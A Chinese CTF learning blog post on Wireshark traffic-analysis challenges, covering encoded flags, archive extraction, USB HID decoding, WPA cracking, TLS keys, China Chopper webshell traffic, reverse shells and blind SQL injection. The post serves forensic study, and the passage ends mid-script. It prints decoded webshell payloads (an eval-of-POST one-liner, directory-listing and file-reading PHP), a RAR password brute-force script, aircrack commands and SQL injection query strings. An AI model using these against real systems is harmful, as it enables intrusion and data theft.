声明一下
本文是根据b站-风二西大佬的视频边做题边总结写成的,可以去支持一下风佬,风佬太强辣!!!
另外本人也是个初学者,文章里面如果有错误,记得来踢我
废话不多说,开始吧
1、flag明文
一开始当然是从最基础的开始啦,使用到的工具是wireshark,哪有什么做流量题不用wireshark的啊
打开流量包,最先开始的思路就是搜一下flag这个字符串是否存在于流量包中
于是第一题就这么顺利的解决掉了
像这里的话可观察到flag是存于txt中的,因为是textdata数据
右击-->显示分组字节流
右击协议-->追踪流-->TCP流
即可查看text数据:
或:
flag{This_is_a_f10g}
2、flag编码
当然,现在的题目除了签到谁会给你放flag明文放到流量包里?就算是签到也不一定给你明文,至少也是经过一点小小的编码后才来的
一般的话flag会被编码成很多种形式,常见的有几种:
Hex:666c6167/666C6167(flag)、666c61677b(flag{)
Base64:Zmxh(fla)
Unicode:flag(flag)
等等还有很多,之后遇到了可以自己加一下
然后开始看题吧:
1、64da5a4a1e024d198dfa307299965b6d.pcapng
查找flag的Hex字节666c6167
发现末尾有东西,显示分组字节查看
可以复制出去进行一个码的解,有时候也可以直接在分组字节这里解码
得到flag:
flag{7FoM2StkhePz}
2、attack_log_analysis.pcap
查找flag的Hex字节666C6167(这个全是大写的,Hex不分大小写的,所以大小写都有可能)
显示分组字节:
同样Hex解码:
得到flag:
flag{".str_rot13($str)."}
3、可恶的黑客.pcapng
这回是查找flag的Unicode编码了flag
虽然但是,这里直接搜这一串是不会有搜不到什么的,其实可以直接搜一下f
就好
找到之后,查看分组字节,解一下码
得到flag
f1ag{si11yb0yemmm}
也算是一个小坑吧,l用数字1代替了
总结一下
前面的flag不论是直接给你明文,还是有一定的编码,都是比较简单的,像这些十成甚至九成都会是签到题,所以了解一下知道有这种情况就好,重点不再这边
另外这里还是给出一下风佬的脚本吧,虽然我感觉用到的几率应该不会很大,如果要用的话,那个破空查flag的工具应该会比较好用,下载的话,风佬的git里面应该有,这里就不给了
# encoding:utf-8
import os
import os.path
import sys
import subprocess
# 打印可打印字符串
def str_re(str1):
str2 = ""
for i in str1.decode('utf8', 'ignore'):
try:
# print(ord(i))
if ord(i) <= 126 and ord(i) >= 33:
str2 += i
except:
str2 += ""
# print(str2)
return str2
# 写入文本函数
def txt_wt(name, txt1):
with open("output.txt", "a") as f:
f.write('filename:' + name)
f.write("\n")
f.write('flag:' + txt1)
f.write("\n")
# 第一次运行,清空output文件
def clear_txt():
with open("output.txt", "w") as f:
print("clear output.txt!!!")
# 递归遍历的所有文件
def file_bianli():
# 路径设置为当前目录
path = os.getcwd()
# 返回文件下的所有文件列表
file_list = []
for i, j, k in os.walk(path):
for dd in k:
if ".py" not in dd and "output.txt" not in dd:
file_list.append(os.path.join(i, dd))
return file_list
# 查找文件中可能为flag的字符串
def flag(file_list, flag):
for i in file_list:
try:
with open(i, "rb") as f:
for j in f.readlines():
j1 = str_re(j) # 可打印字符串
# print j1
for k in flag:
if k in j1:
txt_wt(i, j1)
print('filename:', i)
print('flag:', j1)
except:
print('err')
#这里可以自行添加一些flag编码后的形式
flag_txt = ['flag{', '666c6167', 'flag', 'Zmxh', 'f', '666C6167']
# 清空输出的文本文件
clear_txt()
# 遍历文件名
file_lt = file_bianli()
# 查找flag关键字
flag(file_lt, flag_txt)
直接把py文件放到流量包同一目录下运行即可,会打印出和flag有关的明文或编码
然后讲一下风佬放在后面的一道题,misc4,后面做到的感觉和这个还是相关的
首先进流量包先搜一下flag,大小写都试一下,结果什么都没有,整体浏览了一下,发现是HTTP流量占多数,于是去统计里面看一下HTTP请求的数量:
有是有不少,但值得注意的还真只有一个,就是最后那个php文件
于是先直接过滤http流,找到php的发送包,然后追踪tcp流
最后这里的鸟语没看懂,直接去wireshark界面查看数据,在data数据里面看到了flag
把这题放到这里讲是因为感觉这个也是属于明文系列的,其实就是想说明一下,不是所有的明文都是单纯的明文,有时候给你明文了,你也不一定能搜到的那种
当然了,这里不一定要追踪TCP流,如果是追踪HTTP流的话是可以直接出来的
要是不懂的话还是慢慢来啊,我就是慢慢来的
还有到flag明文题,虽然不算明文,但也确实是明文吧,大概
管理员密码即flag(dianli_jbctf_MISC_T10075_20150707_wireshark.pcap)
这里提示说管理员密码即flag,打开流量包,还是先搜flag
然后就直接出了:
下一题:流量中的线索.pcapng(后面的题目拿到前面来了,感觉确实是这里的知识点)
拿到流量包先搜flag,没结果,再整体浏览整个流量包协议,大致都是http和DNS协议,于是去统计http请求里看一眼:
发现一个可疑php文件
过滤http跟踪导这个php文件的返回包,显示分组字节流:
一堆鸟语,看着还挺像base64的,尝试解码尾base64
很明显的一个jpg头,于是显示为图像
最后得到flag
再来一题:工业协议分析(0ebb974edd304dc79aac8339b14b877e.pcap)
个人认为还是属于这个知识点的
打开流量包,一片是紫色,看来是首先查找了一下flag,没有什么可用的信息(指的是虽然搜到了flag但我知道那个是没用的东西)
过滤了一下http流,发现没得一个,当时就蚌埠住了,然后屁颠屁颠去看wp了,没想到确实比较简单
像这种题,还有一个小细节需要注意,我们可以对所有的流量大小进行一个排序,如果发现一堆文件里面有一个大的离谱的,或者小的得离谱的流量的话,有可能这个就隐写了东西
就比如这一题,对流量长度进行一个序的排
第一个就相比于其他的流量长度大得离谱,跟进看看:
发现有一串base,还可以看出来这个是一张图片的字节经过base64编码后进行的传输
定位这串字符串,是在网络接口层里面:
显示分组字节,去除前面的头,然后解码为base64就可以很清楚的看出是个png图片了
然后直接显示为图像,就得到flag了
另外说一下,wireshark支持的图像解码好像只有png和jpg?其他的一律不支持,这个我也不太清楚,解出别的了的,记得回来踢我
3、压缩包
对于压缩包这一块的话,应该就有概率会有题出这一个方面了,因为压缩包是可以导出来的,毕竟是字节流嘛
光说还是很抽象的,看题吧
1、caidao.pcapng
像这种压缩包流量,一般都是通过http流发送与接收的,所以这里先过滤一下http流:
不是很多,随便点一个右击-->追踪流-->TCP流
然后就会有一堆的红色和蓝色的东西,简单说明一下,红色就是发送包,蓝色就是返回包
可以根据不同的流来查看该流干了什么
像这里的流0可以简单翻译一下发送包的那一串很像base的东西
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPT
jwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9J0M6XFx3d3
dyb290XFwnOyRGPUBvcGVuZGlyKCREKTtpZigkRj09TlVMTCl7ZWNobygiRVJST1I6Ly8gUGF0aCBOb3QgRm9
1bmQgT3IgTm8gUGVybWlzc2lvbiEiKTt9ZWxzZXskTT1OVUxMOyRMPU5VTEw7d2hpbGUoJE49QHJlYWRkaXIo
JEYpKXskUD0kRC4nLycuJE47JFQ9QGRhdGUoIlktbS1kIEg6aTpzIixAZmlsZW10aW1lKCRQKSk7QCRFPXN1Y
nN0cihiYXNlX2NvbnZlcnQoQGZpbGVwZXJtcygkUCksMTAsOCksLTQpOyRSPSJcdCIuJFQuIlx0Ii5AZmlsZX
NpemUoJFApLiJcdCIuJEUuIlxuIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiR
SO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJYQFkiKTtkaWUoKTs
@ini_set("display_errors","0");
@set_time_limit(0);
if(PHP_VERSION<'5.3.0'){
@set_magic_quotes_runtime(0);
};
echo("X@Y");$D='C:\\wwwroot\\';
$F=@opendir($D);
if($F==NULL){
echo("ERROR:// Path Not Found Or No Permission!");
}else{
$M=NULL;
$L=NULL;
while($N=@readdir($F)){
$P=$D.'/'.$N;
$T=@date("Y-m-d H:i:s",@filemtime($P));
@$E=substr(base_convert(@fileperms($P),10,8),-4);
$R="\t".$T."\t".@filesize($P)."\t".$E."\n";
if(@is_dir($P))
$M.=$N."/".$R;
else
$L.=$N.$R;}
echo $M.$L;
@closedir($F);
};
echo("X@Y");
die();
没怎么学过web这类的,php语言也不是很了解,所以也不太清楚这个是什么,应该和风佬说的菜刀流量有关,然后根据返回包,是一个列目录,大概就知道是利用菜刀进行了一个列目录的操作,然后菜刀流量的一个特征应该是有 X@Y
接着看下去,到流2的时候,有一些看不懂的东西
还是先看一下发送包的那堆东西(要记住,只要在流量包里的东西一般都会有URL编码,所以记得先URL decode一下再使用base64解码)
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0l
PTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEY9IkM6XF
x3d3dyb290XFxmbGFnLnRhci5neiI7JGZwPUBmb3BlbigkRiwncicpO2lmKEBmZ2V0YygkZnApKXtAZmNsb
3NlKCRmcCk7QHJlYWRmaWxlKCRGKTt9ZWxzZXtlY2hvKCdFUlJPUjovLyBDYW4gTm90IFJlYWQnKTt9O2Vj
aG8oIlhAWSIpO2RpZSgpOw%3D%3D
@ini_set("display_errors","0");
@set_time_limit(0);if(PHP_VERSION<'5.3.0'{
@set_magic_quotes_runtime(0);
};
echo("X@Y");
$F="C:\\wwwroot\\flag.tar.gz"; // 这里可以看见有个tar.gz形式的压缩包
$fp=@fopen($F,'r');
if(@fgetc($fp)){
@fclose($fp);
@readfile($F);
}else{
echo('ERROR:// Can Not Read');
};
echo("X@Y");
die();
可以看见有一个tar.gz压缩包,所以就基本可以确定是发送了一个压缩包给接收包,所以接受包那边的编码应该就是一个压缩编码了
去到wireshark主界面找到这串流量,查看字节分流,去掉菜刀流量的标志位(我也不知道叫啥,就先这样叫着)只需要去掉前面的就可以了
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bMwZ258m-1682662932056)(https://gitee.com/duxianQAQ/typora-image/raw/master/typora-image/202304231926521.png)]
然后更改一下解码规则为压缩就可以看到相应的数据了
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-498TSQIp-1682662932058)(https://gitee.com/duxianQAQ/typora-image/raw/master/typora-image/202304231928083.png)]
2、test.pcap
同样的操作:过滤http流,跟踪TCP流,查看可疑流
这回到了流3
还是翻译一下发送包那堆鸟语
%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZX
Jyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG
8oIi0%2BfCIpOzskRj1nZXRfbWFnaWNfcXVvdGVzX2dwYygpP3N0cmlwc2xhc2hlcygkX1BPU1RbInoxIl0p
OiRfUE9TVFsiejEiXTskZnA9QGZvcGVuKCRGLCJyIik7aWYoQGZnZXRjKCRmcCkpe0BmY2xvc2UoJGZwKTtA
cmVhZGZpbGUoJEYpO31lbHNle2VjaG8oIkVSUk9SOi8vIENhbiBOb3QgUmVhZCIpO307ZWNobygifDwtIik7
ZGllKCk7&z1=%2Fvar%2Fwww%2Fhtml%2Fx.tar.gz
@eval base64_decode($_POST[z0]));
&z0=@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");; // 这次不是X@Y了,是->|
$F=get_magic_quotes_gpc()?stripslashes($_POST["z1"]):$_POST["z1"];
$fp=@fopen($F,"r");
if(@fgetc($fp)){
@fclose($fp);
@readfile($F);
}else{
echo("ERROR:// Can Not Read");
};
echo("|<-");
die();
&z1=/var/www/html/x.tar.gz // 很明显的一个压缩包在这里了
一样的,去掉特征符后,解码为压缩形式:
当然也可以直接把这串数据给导出来(虽然我没导出成功,不知道是不是版本的问题)
具体操作就是解码、开始字符什么的都不要变,直接把流量显示为原始数据,然后另存为随便一个压缩包就行,直接用文本打开里面的东西就会显示出来
然后就是一道练手的题
liuliang.pcap
打开来还是一样的操作:过滤http、追踪TCP流看看
另外在这之前可以去看看统计里面的HTTP请求有多少
像这种php就可以关注一下
发现流11有点熟悉的东西
这不就压缩包吗
追踪TCP流后再过滤一下http流,在流11却又没什么东西了,又去流10看看
发现又有东西了
直接把字节导出来,然后导导010里面去,把压缩包保存下来(我是这样做的,真不知道为什么不能直接导出为压缩包)
然后发现是个加密的压缩包?
鬼,是伪加密罢
后来看了风佬的视频,才知道流11的那个压缩包也可以用,只不过他的可以直接导出来,我导不出来,就很烦,找找各种版本吧
以上问题已解决,所用版本为4.0.5
流11的数据也可以直接导出了
直接导出分组字节流为1.zip
之后用010把头和尾给去掉,用7-zip打开即可获取flag
另一道练手的题,也是风佬在后面讲的,感觉还是这边的知识就拿过来了
被偷走的文件.pcapng
进来干的第一件事:搜flag
搜到一个flag.rar,因为知道rar文件的头是什么样的,尝试找一下Rar
真给找到了,在一个FTP流量里面,导出分组字节流,打开却需要密码,尝试暴力破解
还真给爆出来了,出flag:
继续看题:带密码的压缩包(p1.pcap)
进去先找flag:
rar压缩包,去搜Rar看能不能搜到字节
又找到了,跟踪tcp流,只看返回包
已经是很明显的一个rar压缩包格式了,直接导出来(显示为原始数据导出来后导010里面把菜刀头和尾去掉就行,虽然直接打开也行吧)
另外讲一下这个27fc,这是TCP分段传输的一个标志位,所以还是要注意点,别没导全,最好是再跟踪TCP流界面里导,导原始数据就行了
是个带密码的压缩包,先尝试搜一下PIN或者password
虽然搜到了password,但那些都是php文件的命名,不是我们想要的东西,没办法,只能尝试爆破
另外这个是rar5.0以上的版本,是不支持使用那个最常用的爆破软甲的,所以还是要考脚本
贴一下风佬的脚本:
import subprocess
rar_name = "1.rar"
# 载入字典
with open('top19576.txt', "r") as f:
for p in f.readlines():
cmd = "Rar.exe e {0} -y -p{1}".format(rar_name, p.strip())
r = subprocess.getstatusoutput(cmd)
if r[0] == 0:
print("pass = %s" % p)
break
# 纯数字爆破
for p in range(0, 999999):
cmd = "Rar.exe e {0} -y -p{1}".format(rar_name, str(p))
r = subprocess.getstatusoutput(cmd)
if r[0] == 0:
print("pass = %s" % p)
break
这个是字典爆破或者纯数字爆破,要用某一个把另一个注释起来就行了,另外这个Rar.exe网上教程应该有一大堆,这里就不细讲了
得到flag:
4、不可打印字符(telnet协议)
telnet协议提供了一种通过终端远程登远程登录到服务器的方式,呈现一个交互式操作界面,用户可以先登录到一台主机,然后再通过telnet的方式远程登录到网络上的其他主机上,而不需要为每一台主机都连接一个硬件终端,然后对设备进行配置和管理
简单来说就是远程传输协议,明文传输的那种,建议拿到一个流量包在进行一些有必要或没必要的操作之前还是先浏览一下整个流量包包含哪些协议,像这种telnet协议就还是比较重要的,虽然不一定藏东西了
看题好讲点:telnet.pcap
拿到包,先搜明文,然后整体看一下,发现有telnet协议,也有不少http,总之先去统计看看http的请求
没有太多,先过滤翻翻找找,并没有发现什么,那个php里面是一堆源码,试着解读了一下,确实没有啥东西,然后转向开始整体浏览发现的telnet协议,先过滤下来,追踪tcp流查看:
这回就有东西了,看到flag就放心了,因为发送包和接收包有重叠,不方便查看,干脆直接看接收包
额,好像没啥东西,然后转向发送包
还是这玩意像flag一点,但不知道中间那三个点是什么意思
最简单的方法就是直接显示数据为hex
发现那三个点对应的hex值是08,转为10进制就是8,对应的
08转为10进制就是8,对应的ASCII就是\b,即退格,意思是这里有三次退格
最后经过退格后那一串就变成了
28d982kwalx8e
即flag
5、蓝牙协议
蓝牙传输协议是指的是蓝牙协议层,包括逻辑链路控制和适配协议(L2CAP)、无线射频通信(RFCOMM)和业务搜索(SDP)
其中L2CAP提供分割和重组业务
还是一样的,在整体看了一下流量包协议后,如果发现有上面这些东西的话,一定要想到还有蓝牙协议这种可能
另外可以去统计-->协议分级
里查看一下,蓝牙协议下是否有 OBEX 协议,这是一个用于蓝牙传输文件的一个协议,如果有的话,可以先右键这个协议,然后查找到它,在它的附近操作
然后看题:2004225e9ff0cd86ee4.pcapng
先搜flag,虽然搜出来一堆,但是那些都是协议中,固定的一个名称,没有意义,所以还是先浏览一下整体的流量包,很容易就可以判断是蓝牙协议,先去统计-->协议分级
里看看
发现有OBEX协议,很可能是在这里传输了个什么文件之类的,右键-->查找
跟进
果然有个7z压缩包
直接导出分组字节流,压缩包需要密码,但提示了密码是蓝牙的密码
然后又回去流量包找蓝牙的密码
因为蓝牙里面有个固定的密码名称叫做PIN所以还是先搜一下PIN这串字符,看是不是有东西
当搜索的是分组详细的时候,看见了有类似PIN发送的协议
找到PIN了,解压压缩包得到flag
当然实在不知道就爆破吧,虽然我也不知道到底能不能爆出来
6、USB键盘鼠标数位板流量
对于这种流量一般都在usbhid.data
或usb.capdata
中,可以看一下
前者后者分别为以下两图:
1.键盘流量
用脚本嗦
使用方法:
python UsbKbCracker.py -f [流量包文件] -e usbhid.data [-Y "xxx"]
最后一项是wireshark里的过滤器的过滤条件,可以不加
USB协议键盘数据部分在Leftover Capture Data域中,数据长度为一般为八个字节
击键信息集中在第3个字节,每次击键都会产生一个数据包
USB keyboard映射表:参考文档
对于键盘流量,考点多一点,但也多不到哪去,最主要的一个就是:
flag信息隐藏在USB流量中,通过USB协议数据中的键盘键码转换成键位
另外还有风佬的脚本,个人感觉这个好用是用,但很多地方用了,好像不出东西,随缘吧
# -*- coding: cp936 -*-
import os
# 下面的test.pcapng记得改一下
os.system("tshark -r test.pcapng -T fields -e usb.capdata > usbdata.txt")
normalKeys = {"04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09": "f", "0a": "g", "0b": "h", "0c": "i",
"0d": "j", "0e": "k", "0f": "l", "10": "m", "11": "n", "12": "o", "13": "p", "14": "q", "15": "r",
"16": "s", "17": "t", "18": "u", "19": "v", "1a": "w", "1b": "x", "1c": "y", "1d": "z", "1e": "1",
"1f": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24": "7", "25": "8", "26": "9", "27": "0",
"28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "-", "2e": "=", "2f": "[",
"30": "]", "31": "\\", "32": "<NON>", "33": ";", "34": "'", "35": "<GA>", "36": ",", "37": ".", "38": "/",
"39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
"40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}
shiftKeys = {"04": "A", "05": "B", "06": "C", "07": "D", "08": "E", "09": "F", "0a": "G", "0b": "H", "0c": "I",
"0d": "J", "0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O", "13": "P", "14": "Q", "15": "R",
"16": "S", "17": "T", "18": "U", "19": "V", "1a": "W", "1b": "X", "1c": "Y", "1d": "Z", "1e": "!",
"1f": "@", "20": "#", "21": "$", "22": "%", "23": "^", "24": "&", "25": "*", "26": "(", "27": ")",
"28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "_", "2e": "+", "2f": "{",
"30": "}", "31": "|", "32": "<NON>", "33": "\"", "34": ":", "35": "<GA>", "36": "<", "37": ">", "38": "?",
"39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
"40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}
nums = []
keys = open('usbdata.txt')
for line in keys:
# print(line)
if len(line) != 17: # 首先过滤掉鼠标等其他设备的USB流量
continue
nums.append(line[0:2] + line[4:6]) # 取一、三字节
# print(nums)
keys.close()
output = ""
for n in nums:
if n[2:4] == "00":
continue
if n[2:4] in normalKeys:
if n[0:2] == "02": # 表示按下了shift
output += shiftKeys[n[2:4]]
else:
output += normalKeys[n[2:4]]
else:
output += '[unknown]'
print('output :' + output)
2.鼠标流量
用脚本嗦,这个脚本我不好说,因为我没用出来过,还是风佬的脚本好使
另外风神这个需要安装gnuplot
使用方法:
python UsbmiceCracker.py -f [流量包文件] -e usb.capdata -a LEFT
关于最后一项:
LEFT:左击
RIGHT:右击
ALL:双击
MOVE:移动轨迹
若没有加最后一项,则默认所有都有
USB协议鼠标数据部分在Leftover Capture Data域中,数据长度为一般为四个字节
第一个字节,代表按键
当取0×00时,代表没有按键
当取0×01时,代表按左键
当取0×02时,代表当前按键为右键
第二个字节,可看作为signed byte类型,其最高位为符号位
当值为正时,代表鼠标右移像素位
值为负时,代表鼠标左移像素位
第三个字节,代表垂直上下移动的偏移
当值为正时,代表鼠标上移像素位
值为负时,代表鼠标下移像素位
对于鼠标流量最可能的考点大概就一个:
flag隐藏在usb流量中,通过USB协议数据中的鼠标移动轨迹转换成flag
另外也贴一下风佬的脚本,另外风佬的脚本用来解他那个题的话可能有点小错误,我改了一下:
import os
# 就是下面这个命令 usbhid.data 这里,原本是 usb.capdata ,看着是HID DATA所以就改了一下
os.system("tshark -r test2.pcapng -T fields -e usbhid.data > usbdata.txt")
nums = []
keys = open('usbdata.txt', 'r')
result = open('result.txt', 'w')
posx = 0
posy = 0
for line in keys:
if len(line) != 13:
continue
x = int(line[4:6], 16)
y = int(line[6:8], 16)
if x > 127:
x -= 256
if y > 120:
y -= 264
posx += x
posy += y
btn_flag = int(line[2:4], 16) # 1 for left , 2 for right , 0 for nothing
if btn_flag == 1:
result.write(str(posx) + ' ' + str(-posy) + '\n')
print(result)
keys.close()
result.close()
os.system("gnuplot -e \"plot \'result.txt\'\" -p")
把流量包放到同一目录,改一下小参数运行就行了
3.数位板流量
这个以前有考过,我感觉还是挺重要的,但看见很多佬都没有说过,所以还是在这里提一嘴吧
数位板流量的形式大概是以以下方式存储的:
10402a46001e3c0000000000000000003f00000000000000000000
10402046000b3c0000000000000000003f00000000000000000000
1040254600193c0000000000000000003f00000000000000000000
1040344600053a0000000000000000003f00000000000000000000
10401c46000e3a0000000000000000003f00000000000000000000
1040214600a93b0000000000000000003f00000000000000000000
1040244600c8390000000000000000003f00000000000000000000
1040144600ab390000000000000000003f00000000000000000000
1040ff450090390000000000000000003f00000000000000000000
1040ff4500aa3a0000000000000000003f00000000000000000000
1040fa450082390000000000000000003f00000000000000000000
1040f4450094390000000000000000003f00000000000000000000
其中x对应的是5~8位、y对应的是11到14位,且二者都是以小端方式存储
数位板流量的考点也很单一,单纯的考轨迹
根据提取出来的数据转化成十进制然后通过画图就可以还原数位板上的轨迹了
import os
import matplotlib.pyplot as plt
os.system("tshark -r 1.pcapng -T fields -e usb.capdata| sed '/^\s*$/d' > 1.txt")
data=[]
with open('1.txt',"r") as f:
for line in f.readlines():
if line[16:18] !="00":
data.append(line)
X = []
Y = []
for line in data:
x0=int(line[4:6],16)
x1=int(line[6:8],16)
x=x0+x1*256
y0=int(line[10:12],16)
y1=int(line[12:14],16)
y=y0+y1*256
X.append(x)
Y.append(-y)
fig = plt.figure()
ax1 = fig.add_subplot(111)
ax1.set_title("result")
ax1.scatter(X, Y, c='b', marker='o')
plt.show()
上面脚本中1.pcapng就是要解密的压缩包
主要的是数位板流量的题少,我以前是做过一次,那时候没接触这些不会做,但记得是数位板流量,现在的话不记得那个题目是什么了,很尴尬,我的锅
另外说一点:
以上的脚本都是可拓展的,不是所有的流量包提出来的字节都是固定的,所以有时候需要自己手动修改
比如:
上面这个是一段鼠标流量里的字节,但是不是标准的4字节,而是6字节,所以需要变化一下,在对应脚本处改就是了
然后讲一下题目吧
1、键盘流量:test.pcapng
进去就是一堆USB协议在里面等着你,很快就能确定是三种流量中的一种,一般的话都是用脚本直接嗦就行了,毕竟让你自己一个一个的去分析,你也做不来吧
然后可以确定数据在usb.capdata中
所以直接脚本嗦吧
2、鼠标流量:test2.pcapng
总之可以都试一下,不是键盘就是鼠标了,两个都不是基本就是数位板了,再不是的话,我也不知道了
这个是 usbhid.data 数据
网上下的那个脚本没出来过,但也不排除我使用错误,先保留吧,没准哪天就出来了呢
数位板流量的话,以后遇到再回来补充吧
7、无线流量
与无线流量挂钩最紧密的就是802.11这个了,叫做无线局域网通用标准
再wireshark中的无线-->WLAN
中可以看到
像这种无线流量题一般要先知道无线流量包的密码,密码要么告诉你了,要么就是需要爆破
用aircrack-ng来爆破
教程
然后来讲题:ctf.pcap
很明显的一个无线流量包,先直接来爆破试试吧(一般都是这个思路,边爆破边找)
aircrack-ng -w dic.txt [流量包文件]
aircrack-ng -w dic.txt ctf.pcap
爆出来了,要注意的有两项,一是前面的WPA那一项,二是KEY
然后就可以解码了
airdecap-ng ctf.pcap -e [爆破出来的WPA值] -p [爆破出来的密码]
airdecap-ng ctf.pcap -e ctf -p password1
然后就多出来一个ctf-dec.pcap
这个就是解密码后的流量包了
进去先搜flag,然后就出了
无线流量包大概就是这么个流程,一般都会伴随一个密码,总之有一个强大的字典总能爆出来的,大概
另外爆出来密码后还有种方法直接把加密流量映射到当前无线流量包中
编辑-->首选项-->Protocol-->IEEE 802.11-->Edit
然后加密后的流量就会显示出来了,虽然但是,我不是很喜欢用
8、ssl流量
一种安全协议流量,有公开密钥(嘁,怎么又是密钥)
在流量包中TLS流量就是加密的流量,一般都会有个私钥解密数据包后再显示额外内容
编辑-->首选项-->Protocol-->TLS
最后一项可以加载私钥,为log文件
加载成功后才会有额外的流量出现
来做题:te2.pcapng
一个ssl_log.log文件,流量包打开一堆TLS,一眼鉴定为SSL流量包
直接加载私钥
然后就出现了额外的http流量
再统计http请求界面发现了有个文档
直接过滤跟进,找到flag
像这种,我有点不清楚是不是都会给你一个私钥让你直接去导,还是说让你找私钥然后再去导,总之还不是很清楚,之后遇到这类型的题目再回来看看
9、菜刀流量
其实之前也见过了,菜刀流量的话其实感觉还是算比较简单的那种(说错了回来打我)
最明显的特征应该是有标准菜刀头和菜刀尾?
->|
和|<-
然后如果里面多数是http和tcp流的话,很可能是伴随着文件的传输的,所以还是注意点吧
来看题:菜刀666(666666.pcapng)
打开流量包就是一片绿,和http和tcp没得跑了,还是老套路,先搜flag
简单找到几个带flag的txt,感觉还是有点关系,但又好像没有关系一样,总之先去统计看看http请求
看到有php文件,还是先去看看再说,过滤http
倒是在最后这里发现了一个压缩包,最后一句话还说需要密码,应该也在流量包里面,先把压缩包导出来,导出分组字节流,然后到010里面去掉菜刀头和尾
果然是个带密码的压缩包,而且有注释提示要密码
无奈,先丢到爆破软件里爆着,然后再流量包里面找
从下网上看,找到了一点小东西
左下角可以列出蛮多目录文件的,所以上面的那个发送包基本就是列目录命令了,尝试跟踪tcp流
追踪后,卡啊,很卡啊,非常卡啊,里面有不少16进制的东西
看一下开头这里
FFD8FFE0
好熟悉的字节,这不就是jpg图片吗,应该是对应了上面列目录里面的6666.jpg
在7流下,过滤一下http
找到图片字节了,复制整个字节到随便一个文档里,然后用010导入16进制,最后在保存为jpg
密码有了,爆破也不用了,笑死,爆一个世纪都不知道爆得完不
解压缩,出flag:
另外,风佬还有个菜刀流量的辅助工具,我这暂时还没有,要到了再贴出来吧
10、getshell
getshell
就是可以通过某种漏洞达到留下后门的操作 ,可以通过程序的bug进入后台
往往应用于上传一句话木马,然后利用菜刀、蚁剑等工具连接一句话在对方服务器的绝对路径,然后获得服务器的各个盘符的信息
反弹shell
,就是控制端监听在某TCP/UDP
端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端
通俗点说,反弹shell
就是一种反向链接,与正向的ssh
等不同,它是在对方电脑执行命令连接到我方的攻击模式,并且这种攻击模式必须搭配远程执行命令漏洞来使用
对于TCP而言,它的4444
端口绑定一个cmd.exe后门
所以在流量包中,像这种:
基本上可以确定是个反弹shell
做题:getshell(CTF.pcapng)
打开来搜的flag没用,然后浏览了一眼,没有http协议,倒是有很多的tcp协议,于是先过滤到tcp协议
在最后发现了很多4444端口的tcp流量:
尝试追踪tcp流
一堆鸟语看不懂的了,但可以知道的是第一二行那一串英文,但凡做过点逆向的人,基本都知道那是某个可执行文件的东西,既然这里反弹了shell,那么命令都应该出自前面,查看上一个流:
很明显了,这是一个cmd.exe,版权都在Windows了,还能执行这么多熟悉的命令,怎么不会是cmd呢
把那一串base64解码一下,就得到了flag:
讲完这些来做道编辑哦难的题:sqltest.pcapng
一眼一片绿,一片绿里看到了一个sql查询语句,听风佬的视频里面说是个sql注入语句,这我还真不清楚,搜一下flag,很多flag字符串都在这种查询语句里面
再次仔细看一下这个sql语句,发现有个,大概是和这个有关了,毕竟有个flag表在这里
去统计http请求里瞅一眼:
发现有一堆查询语句,另外可以知道的是>
后面的数字就是查询出来的结果
这里说一下几个sql函数的作用:
ascii()
显示第一个字符的ascii值
substr(str, 0, 1)
从str字符串中,从第0个字符开始,取1个字符
limit 0, 1
用来限制查询的东西,从第0行开始,往下查询1条语句,即第0行的数据
大概就是这样,总之先过滤http流看看
像这样的,我认为这里大概是在爆破?查询每一项的第一项的开始值总是100,然后查询最后出来的结果应该就是对应flag表里面正确的结果,所以爆破字符的最后一项应该就是flag的值。
由于本人不会写脚本,所以是手脱出来的,并最后转化为字符串:
da = [102, 108, 97, 103, 123, 52, 55, 101, 100, 98, 56, 51, 48, 48, 101, 100, 53, 102, 57, 98, 50, 56, 102, 99, 53, 52, 98, 48, 100, 48, 57, 101, 99, 100, 101, 102, 55, 125]
for i in range(len(da)):
print(chr(da[i]), end="")
最后得出flag:
这是一中比较蠢的方法哈,大家实在没办法不要学
另外,查询有这么多,为什么我就确定是这一串呢,其实很简单,flag的长度应该也不会很短,然后所有查询语句中,按顺序查询而且有不是很短的就只有最后那一串了
把风佬脚本贴出来:
import re
a = []
with open("sqltest.pcapng", "rb") as f:
for i in f.readlines():
if b"id=1%20and%20ascii(substr(((select%20concat_ws(char(94),%20flag)%20%20from%20db_flag.tb_flag%20%20limit%200,1))," in i:
a.append(i.strip()) # 返回删除前导和尾随空格的字符串副本。如果给定了chars而不是None,则删除chars中的字符
a1 = {}
for i in a:
